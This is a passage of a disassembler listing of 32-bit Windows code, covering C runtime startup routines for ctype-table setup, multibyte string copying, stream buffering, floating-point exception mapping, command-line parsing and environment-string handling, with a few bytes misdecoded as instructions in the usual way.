		mov	edi, offset dword_45FF50
		mov	ds:dword_45FF44, eax
		mov	ds:dword_45FF5C, eax
		mov	ds:dword_460164, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_416F5E	endp

; ---------------------------------------------------------------------------


loc_416F87:				; CODE XREF: seg000:loc_416ED0p
		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		push	ds:dword_45FF44
		call	near ptr 0A70000h
		mov	al, [ebx-7AF0FE08h]
		push	ss
		add	[eax], eax
		add	[ebx], dh
		sar	byte ptr [esi+100h], 88h ; CODE	XREF: seg000:00416FBBj
		test	ds:0FFFFFEECh, al
		inc	eax
		cmp	eax, esi
		jb	short near ptr loc_416FAB+6
		mov	al, [ebp-0Eh]
		mov	byte ptr [ebp-114h], 20h
		test	al, al
		jz	short loc_417002
		push	ebx
		push	edi
		lea	edx, [ebp-0Dh]


loc_416FD0:				; CODE XREF: seg000:00416FFEj
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_416FF7
		sub	ecx, eax
		lea	edi, [ebp+eax-114h]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_416FF7:				; CODE XREF: seg000:00416FD8j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_416FD0
		pop	edi
		pop	ebx


loc_417002:				; CODE XREF: seg000:00416FC9j
		push	0
		lea	eax, [ebp-514h]
		push	ds:dword_460164
		push	ds:dword_45FF44
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	1
		call	loc_418048
		push	0
		lea	eax, [ebp-214h]
		push	ds:dword_45FF44
		push	esi
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	esi
		push	ds:dword_460164
		call	loc_416B24
		push	0
		lea	eax, [ebp-314h]
		push	ds:dword_45FF44
		push	esi
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	200h
		push	ds:dword_460164
		call	loc_416B24
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp-514h]


loc_41707D:				; CODE XREF: seg000:004170BCj
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41709B
		or	ds:byte_460061[eax], 10h
		mov	dl, [ebp+eax-214h]


loc_417093:				; CODE XREF: seg000:004170AEj
		mov	ds:byte_45FF60[eax], dl
		jmp	short loc_4170B7
; ---------------------------------------------------------------------------


loc_41709B:				; CODE XREF: seg000:00417083j
		test	dl, 2
		jz	short loc_4170B0
		or	ds:byte_460061[eax], 20h
		mov	dl, [ebp+eax-314h]
		jmp	short loc_417093
; ---------------------------------------------------------------------------


loc_4170B0:				; CODE XREF: seg000:0041709Ej
		and	ds:byte_45FF60[eax], 0


loc_4170B7:				; CODE XREF: seg000:00417099j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41707D
		jmp	short loc_417109
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	esi, 100h


loc_4170C7:				; CODE XREF: seg000:00417107j
		cmp	eax, 41h
		jb	short loc_4170E5
		cmp	eax, 5Ah
		ja	short loc_4170E5
		or	ds:byte_460061[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_4170DD:				; CODE XREF: seg000:004170FBj
		mov	ds:byte_45FF60[eax], cl
		jmp	short loc_417104
; ---------------------------------------------------------------------------


loc_4170E5:				; CODE XREF: seg000:004170CAj
					; seg000:004170CFj
		cmp	eax, 61h
		jb	short loc_4170FD
		cmp	eax, 7Ah
		ja	short loc_4170FD
		or	ds:byte_460061[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_4170DD
; ---------------------------------------------------------------------------


loc_4170FD:				; CODE XREF: seg000:004170E8j
					; seg000:004170EDj
		and	ds:byte_45FF60[eax], 0


loc_417104:				; CODE XREF: seg000:004170E3j
		inc	eax
		cmp	eax, esi
		jb	short loc_4170C7


loc_417109:				; CODE XREF: seg000:004170BEj
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41710C	proc near		; CODE XREF: seg000:00417470p
					; seg000:004174CCp
					; DATA XREF: ...
		cmp	ds:dword_46018C, 0
		jnz	short locret_417127
		push	0FFFFFFFDh
		call	loc_416D48
		pop	ecx
		mov	ds:dword_46018C, 1

locret_417127:				; CODE XREF: sub_41710C+7j
		retn
sub_41710C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417128	proc near		; CODE XREF: sub_412178+2Bp
					; sub_412178+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_45FF5C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41714C
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_411C90
		add	esp, 0Ch
		jmp	short loc_4171AF
; ---------------------------------------------------------------------------


loc_41714C:				; CODE XREF: sub_417128+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_417191
		mov	ecx, [ebp+arg_4]


loc_417157:				; CODE XREF: sub_417128+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	ds:byte_460061[esi], 4
		mov	[edi], al
		jz	short loc_41717B
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_417187
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41718D
		jmp	short loc_417181
; ---------------------------------------------------------------------------


loc_41717B:				; CODE XREF: sub_417128+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_417191


loc_417181:				; CODE XREF: sub_417128+51j
		test	edx, edx
		jnz	short loc_417157
		jmp	short loc_417191
; ---------------------------------------------------------------------------


loc_417187:				; CODE XREF: sub_417128+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_417191
; ---------------------------------------------------------------------------


loc_41718D:				; CODE XREF: sub_417128+4Fj
		and	byte ptr [edi-2], 0


loc_417191:				; CODE XREF: sub_417128+2Aj
					; sub_417128+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_4171AC
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_4171AC:				; CODE XREF: sub_417128+6Fj
		mov	eax, [ebp+arg_0]


loc_4171AF:				; CODE XREF: sub_417128+22j
		pop	edi
		pop	ebp
		retn
sub_417128	endp


; =============== S U B	R O U T	I N E =======================================



sub_4171B2	proc near		; CODE XREF: sub_41242F+16p
					; sub_412683+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	ds:dword_45EB18, ecx
		mov	eax, offset dword_42DC90


loc_4171C3:				; CODE XREF: sub_4171B2+1Ej
		cmp	ecx, [eax]
		jz	short loc_4171E7
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_42DDF8
		jl	short loc_4171C3
		cmp	ecx, 13h
		jb	short loc_4171F4
		cmp	ecx, 24h
		ja	short loc_4171F4
		mov	ds:dword_45EB14, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_4171E7:				; CODE XREF: sub_4171B2+13j
		mov	eax, ds:dword_42DC94[edx*8]
		mov	ds:dword_45EB14, eax
		retn
; ---------------------------------------------------------------------------


loc_4171F4:				; CODE XREF: sub_4171B2+23j
					; sub_4171B2+28j
		cmp	ecx, 0BCh
		jb	short loc_41720E
		cmp	ecx, 0CAh
		mov	ds:dword_45EB14, 8
		jbe	short locret_417218


loc_41720E:				; CODE XREF: sub_4171B2+48j
		mov	ds:dword_45EB14, 16h

locret_417218:				; CODE XREF: sub_4171B2+5Aj
		retn
sub_4171B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_417219	proc near		; CODE XREF: sub_4126AD+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_417F01
		test	eax, eax
		pop	ecx
		jz	short loc_4172A2
		cmp	esi, offset dword_42DF38
		jnz	short loc_417237
		xor	eax, eax
		jmp	short loc_417242
; ---------------------------------------------------------------------------


loc_417237:				; CODE XREF: sub_417219+18j
		cmp	esi, offset dword_42DF58
		jnz	short loc_4172A2
		push	1
		pop	eax


loc_417242:				; CODE XREF: sub_417219+1Cj
		inc	ds:dword_45ECD4
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4172A2
		cmp	ds:dword_45EBBC[eax*4],	0
		push	ebx
		push	edi
		lea	edi, ds:45EBBCh[eax*4]
		mov	ebx, 1000h
		jnz	short loc_417288
		push	ebx
		call	sub_410AEB
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_417288
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_417295
; ---------------------------------------------------------------------------


loc_417288:				; CODE XREF: sub_417219+4Dj
					; sub_417219+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_417295:				; CODE XREF: sub_417219+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4172A2:				; CODE XREF: sub_417219+10j
					; sub_417219+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_417219	endp


; =============== S U B	R O U T	I N E =======================================



sub_4172A6	proc near		; CODE XREF: sub_4126AD+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4172D0
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_4172E1
		push	esi
		call	sub_4163A9
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4172D0:				; CODE XREF: sub_4172A6+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_4172E1
		push	eax
		call	sub_4163A9
		pop	ecx


loc_4172E1:				; CODE XREF: sub_4172A6+10j
					; sub_4172A6+32j
		pop	esi
		retn
sub_4172A6	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_417424
		test	eax, eax
		pop	ecx
		jz	loc_417418
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_417418
		cmp	ebx, 5
		jnz	short loc_417314
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_417421
; ---------------------------------------------------------------------------


loc_417314:				; CODE XREF: seg000:00417306j
		cmp	ebx, 1
		jz	loc_417413
		mov	ecx, ds:dword_45EBC4
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	ds:dword_45EBC4, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_417403
		mov	ecx, ds:dword_42DE70
		mov	edx, ds:dword_42DE74
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_417363
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:42DE00h[esi*4]


loc_41735A:				; CODE XREF: seg000:00417361j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41735A


loc_417363:				; CODE XREF: seg000:0041734Cj
		mov	eax, [eax]
		mov	esi, ds:dword_42DE7C
		cmp	eax, 0C000008Eh
		jnz	short loc_41737E
		mov	ds:dword_42DE7C, 83h
		jmp	short loc_4173EE
; ---------------------------------------------------------------------------


loc_41737E:				; CODE XREF: seg000:00417370j
		cmp	eax, 0C0000090h
		jnz	short loc_417391
		mov	ds:dword_42DE7C, 81h
		jmp	short loc_4173EE
; ---------------------------------------------------------------------------


loc_417391:				; CODE XREF: seg000:00417383j
		cmp	eax, 0C0000091h
		jnz	short loc_4173A4
		mov	ds:dword_42DE7C, 84h
		jmp	short loc_4173EE
; ---------------------------------------------------------------------------


loc_4173A4:				; CODE XREF: seg000:00417396j
		cmp	eax, 0C0000093h
		jnz	short loc_4173B7
		mov	ds:dword_42DE7C, 85h
		jmp	short loc_4173EE
; ---------------------------------------------------------------------------


loc_4173B7:				; CODE XREF: seg000:004173A9j
		cmp	eax, 0C000008Dh
		jnz	short loc_4173CA
		mov	ds:dword_42DE7C, 82h
		jmp	short loc_4173EE
; ---------------------------------------------------------------------------


loc_4173CA:				; CODE XREF: seg000:004173BCj
		cmp	eax, 0C000008Fh
		jnz	short loc_4173DD
		mov	ds:dword_42DE7C, 86h
		jmp	short loc_4173EE
; ---------------------------------------------------------------------------


loc_4173DD:				; CODE XREF: seg000:004173CFj
		cmp	eax, 0C0000092h
		jnz	short loc_4173EE
		mov	ds:dword_42DE7C, 8Ah


loc_4173EE:				; CODE XREF: seg000:0041737Cj
					; seg000:0041738Fj ...
		push	ds:dword_42DE7C
		push	8
		call	ebx
		pop	ecx
		mov	ds:dword_42DE7C, esi
		pop	ecx
		pop	esi
		jmp	short loc_41740B
; ---------------------------------------------------------------------------


loc_417403:				; CODE XREF: seg000:00417335j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41740B:				; CODE XREF: seg000:00417401j
		mov	eax, [ebp+8]
		mov	ds:dword_45EBC4, eax


loc_417413:				; CODE XREF: seg000:00417317j
		or	eax, 0FFFFFFFFh
		jmp	short loc_417421
; ---------------------------------------------------------------------------


loc_417418:				; CODE XREF: seg000:004172F2j
					; seg000:004172FDj
		push	dword ptr [ebp+0Ch]
		call	ds:dword_41C194	; UnhandledExceptionFilter


loc_417421:				; CODE XREF: seg000:0041730Fj
					; seg000:00417416j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_417424	proc near		; CODE XREF: seg000:004172EAp

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_42DE78
		cmp	ds:dword_42DDF8, edx
		push	esi
		mov	eax, offset dword_42DDF8
		jz	short loc_417451
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:42DDF8h[esi*4]


loc_417446:				; CODE XREF: sub_417424+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_417451
		cmp	[eax], edx
		jnz	short loc_417446


loc_417451:				; CODE XREF: sub_417424+16j
					; sub_417424+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:42DDF8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_417464
		cmp	[eax], edx
		jz	short locret_417466


loc_417464:				; CODE XREF: sub_417424+3Aj
		xor	eax, eax

locret_417466:				; CODE XREF: sub_417424+3Ej
		retn
sub_417424	endp

; ---------------------------------------------------------------------------
		cmp	ds:dword_46018C, 0
		jnz	short loc_417475
		call	sub_41710C


loc_417475:				; CODE XREF: seg000:0041746Ej
		push	esi
		mov	esi, ds:dword_460184
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_4174A7


loc_417482:				; CODE XREF: seg000:0041749Aj
					; seg000:0041749Dj
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41749F
		test	al, al
		jz	short loc_41749F
		movzx	eax, al
		push	eax
		call	sub_4194FF
		test	eax, eax
		pop	ecx
		jz	short loc_417482
		inc	esi
		jmp	short loc_417482
; ---------------------------------------------------------------------------


loc_41749F:				; CODE XREF: seg000:00417488j
					; seg000:0041748Cj
		cmp	byte ptr [esi],	22h
		jnz	short loc_4174B1


loc_4174A4:				; CODE XREF: seg000:004174B9j
		inc	esi
		jmp	short loc_4174B1
; ---------------------------------------------------------------------------


loc_4174A7:				; CODE XREF: seg000:00417480j
		cmp	al, 20h
		jbe	short loc_4174B1


loc_4174AB:				; CODE XREF: seg000:004174AFj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_4174AB


loc_4174B1:				; CODE XREF: seg000:004174A2j
					; seg000:004174A5j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4174BB
		cmp	al, 20h
		jbe	short loc_4174A4


loc_4174BB:				; CODE XREF: seg000:004174B5j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_46018C, ebx
		push	esi
		push	edi
		jnz	short loc_4174D1
		call	sub_41710C


loc_4174D1:				; CODE XREF: seg000:004174CAj
		mov	esi, ds:dword_45EB60
		xor	edi, edi


loc_4174D9:				; CODE XREF: seg000:004174EFj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_4174F1
		cmp	al, 3Dh
		jz	short loc_4174E4
		inc	edi


loc_4174E4:				; CODE XREF: seg000:004174E1j
		push	esi
		call	sub_410A70
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_4174D9
; ---------------------------------------------------------------------------


loc_4174F1:				; CODE XREF: seg000:004174DDj
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_410AEB
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	ds:dword_45EB3C, esi
		jnz	short loc_417513
		push	9
		call	sub_412A6E
		pop	ecx


loc_417513:				; CODE XREF: seg000:00417509j
		mov	edi, ds:dword_45EB60
		cmp	[edi], bl
		jz	short loc_417556
		push	ebp


loc_41751E:				; CODE XREF: seg000:00417553j
		push	edi
		call	sub_410A70
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41754F
		push	ebp
		call	sub_410AEB
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_417542
		push	9
		call	sub_412A6E
		pop	ecx


loc_417542:				; CODE XREF: seg000:00417538j
		push	edi
		push	dword ptr [esi]
		call	sub_411AD0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41754F:				; CODE XREF: seg000:0041752Bj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41751E
		pop	ebp


loc_417556:				; CODE XREF: seg000:0041751Bj
		push	ds:dword_45EB60
		call	sub_410B5F
		pop	ecx
		mov	ds:dword_45EB60, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	ds:dword_460188, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		dd 51EC8B55h, 0DB335351h, 18C1D39h, 57560046h, 7DE80575h
		dd 0BEFFFFFBh, 45EBC8h,	10468h,	0E8535600h, 658A60h, 184A1C8h
		dd 35890046h, 45EB4Ch, 1838FE8Bh, 0F88B0274h, 50F8458Dh
		dd 50FC458Dh, 0E8575353h, 4Dh, 8BF8458Bh, 48DFC4Dh, 18E85088h
		dd 8BFFFF95h, 18C483F0h, 875F33Bh, 8BE8086Ah, 59FFFFB4h
		dd 50F8458Dh, 50FC458Dh, 8DFC458Bh, 56508604h, 17E857h
		dd 458B0000h, 14C483FCh, 34358948h, 5F0045EBh, 0EB30A35Eh
		dd 0C95B0045h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417611	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41763B
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41763B:				; CODE XREF: sub_417611+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_417684


loc_417640:				; CODE XREF: sub_417611+58j
					; sub_417611+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_417672
		test	dl, dl
		jz	short loc_417672
		movzx	edx, dl
		test	ds:byte_460061[edx], 4
		jz	short loc_417665
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_417665
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_417665:				; CODE XREF: sub_417611+46j
					; sub_417611+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_417640
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_417640
; ---------------------------------------------------------------------------


loc_417672:				; CODE XREF: sub_417611+36j
					; sub_417611+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41767C
		and	byte ptr [esi],	0
		inc	esi


loc_41767C:				; CODE XREF: sub_417611+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4176C7
		inc	eax
		jmp	short loc_4176C7
; ---------------------------------------------------------------------------


loc_417684:				; CODE XREF: sub_417611+2Dj
					; sub_417611+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41768F
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41768F:				; CODE XREF: sub_417611+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	ds:byte_460061[ebx], 4
		jz	short loc_4176AA
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4176A9
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4176A9:				; CODE XREF: sub_417611+91j
		inc	eax


loc_4176AA:				; CODE XREF: sub_417611+8Bj
		cmp	dl, 20h
		jz	short loc_4176B8
		test	dl, dl
		jz	short loc_4176BC
		cmp	dl, 9
		jnz	short loc_417684


loc_4176B8:				; CODE XREF: sub_417611+9Cj
		test	dl, dl
		jnz	short loc_4176BF


loc_4176BC:				; CODE XREF: sub_417611+A0j
		dec	eax
		jmp	short loc_4176C7
; ---------------------------------------------------------------------------


loc_4176BF:				; CODE XREF: sub_417611+A9j
		test	esi, esi
		jz	short loc_4176C7
		and	byte ptr [esi-1], 0


loc_4176C7:				; CODE XREF: sub_417611+6Ej
					; sub_417611+71j ...
		and	[ebp+arg_10], 0


loc_4176CB:				; CODE XREF: sub_417611+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4177B4


loc_4176D4:				; CODE XREF: sub_417611+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4176E0
		cmp	dl, 9
		jnz	short loc_4176E3


loc_4176E0:				; CODE XREF: sub_417611+C8j
		inc	eax
		jmp	short loc_4176D4
; ---------------------------------------------------------------------------


loc_4176E3:				; CODE XREF: sub_417611+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4177B4
		test	edi, edi
		jz	short loc_4176F8
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_4176F8:				; CODE XREF: sub_417611+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_4176FD:				; CODE XREF: sub_417611+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_417706:				; CODE XREF: sub_417611+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41770F
		inc	eax
		inc	ebx
		jmp	short loc_417706
; ---------------------------------------------------------------------------


loc_41770F:				; CODE XREF: sub_417611+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_417740
		test	bl, 1
		jnz	short loc_41773E
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41772D
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41772D
		mov	eax, edx
		jmp	short loc_417730
; ---------------------------------------------------------------------------


loc_41772D:				; CODE XREF: sub_417611+10Dj
					; sub_417611+116j
		mov	[ebp+arg_0], edi


loc_417730:				; CODE XREF: sub_417611+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41773E:				; CODE XREF: sub_417611+106j
		shr	ebx, 1


loc_417740:				; CODE XREF: sub_417611+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_417755
		inc	ebx


loc_417748:				; CODE XREF: sub_417611+142j
		test	esi, esi
		jz	short loc_417750
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_417750:				; CODE XREF: sub_417611+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_417748


loc_417755:				; CODE XREF: sub_417611+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4177A5
		cmp	[ebp+arg_10], 0
		jnz	short loc_41776B
		cmp	dl, 20h
		jz	short loc_4177A5
		cmp	dl, 9
		jz	short loc_4177A5


loc_41776B:				; CODE XREF: sub_417611+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41779F
		test	esi, esi
		jz	short loc_41778E
		movzx	ebx, dl
		test	ds:byte_460061[ebx], 4
		jz	short loc_417787
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_417787:				; CODE XREF: sub_417611+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41779D
; ---------------------------------------------------------------------------


loc_41778E:				; CODE XREF: sub_417611+162j
		movzx	edx, dl
		test	ds:byte_460061[edx], 4
		jz	short loc_41779D
		inc	eax
		inc	dword ptr [ecx]


loc_41779D:				; CODE XREF: sub_417611+17Bj
					; sub_417611+187j
		inc	dword ptr [ecx]


loc_41779F:				; CODE XREF: sub_417611+15Ej
		inc	eax
		jmp	loc_4176FD
; ---------------------------------------------------------------------------


loc_4177A5:				; CODE XREF: sub_417611+148j
					; sub_417611+153j ...
		test	esi, esi
		jz	short loc_4177AD
		and	byte ptr [esi],	0
		inc	esi


loc_4177AD:				; CODE XREF: sub_417611+196j
		inc	dword ptr [ecx]
		jmp	loc_4176CB
; ---------------------------------------------------------------------------


loc_4177B4:				; CODE XREF: sub_417611+BDj
					; sub_417611+D5j
		test	edi, edi
		jz	short loc_4177BB
		and	dword ptr [edi], 0


loc_4177BB:				; CODE XREF: sub_417611+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_417611	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, ds:dword_45ECCC
		push	ebx
		push	ebp
		mov	ebp, ds:dword_41C03C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_417813
		call	ebp ; dword_41C03C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4177F4
		mov	ds:dword_45ECCC, 1
		jmp	short loc_41781C
; ---------------------------------------------------------------------------


loc_4177F4:				; CODE XREF: seg000:004177E6j
		call	ds:dword_41C1A0	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4178EE
		mov	ds:dword_45ECCC, 2
		jmp	loc_4178A2
; ---------------------------------------------------------------------------


loc_417813:				; CODE XREF: seg000:004177DEj
		cmp	eax, 1
		jnz	loc_41789D


loc_41781C:				; CODE XREF: seg000:004177F2j
		cmp	esi, ebx
		jnz	short loc_41782C
		call	ebp ; dword_41C03C
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4178EE


loc_41782C:				; CODE XREF: seg000:0041781Ej
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_417841


loc_417833:				; CODE XREF: seg000:00417838j
					; seg000:0041783Fj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_417833
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_417833


loc_417841:				; CODE XREF: seg000:00417831j
		sub	eax, esi
		mov	edi, ds:dword_41C128
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi ; dword_41C128
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_417892
		push	ebp
		call	sub_410AEB
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_417892
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi ; dword_41C128
		test	eax, eax
		jnz	short loc_41788E
		push	dword ptr [esp+10h]
		call	sub_410B5F
		pop	ecx
		mov	[esp+10h], ebx


loc_41788E:				; CODE XREF: seg000:0041787Ej
		mov	ebx, [esp+10h]


loc_417892:				; CODE XREF: seg000:0041785Ej
					; seg000:0041786Dj
		push	esi
		call	ds:dword_41C19C	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_4178F0
; ---------------------------------------------------------------------------


loc_41789D:				; CODE XREF: seg000:00417816j
		cmp	eax, 2
		jnz	short loc_4178EE


loc_4178A2:				; CODE XREF: seg000:0041780Ej
		cmp	edi, ebx
		jnz	short loc_4178B2
		call	ds:dword_41C1A0	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4178EE


loc_4178B2:				; CODE XREF: seg000:004178A4j
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4178C2


loc_4178B8:				; CODE XREF: seg000:004178BBj
					; seg000:004178C0j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4178B8
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4178B8


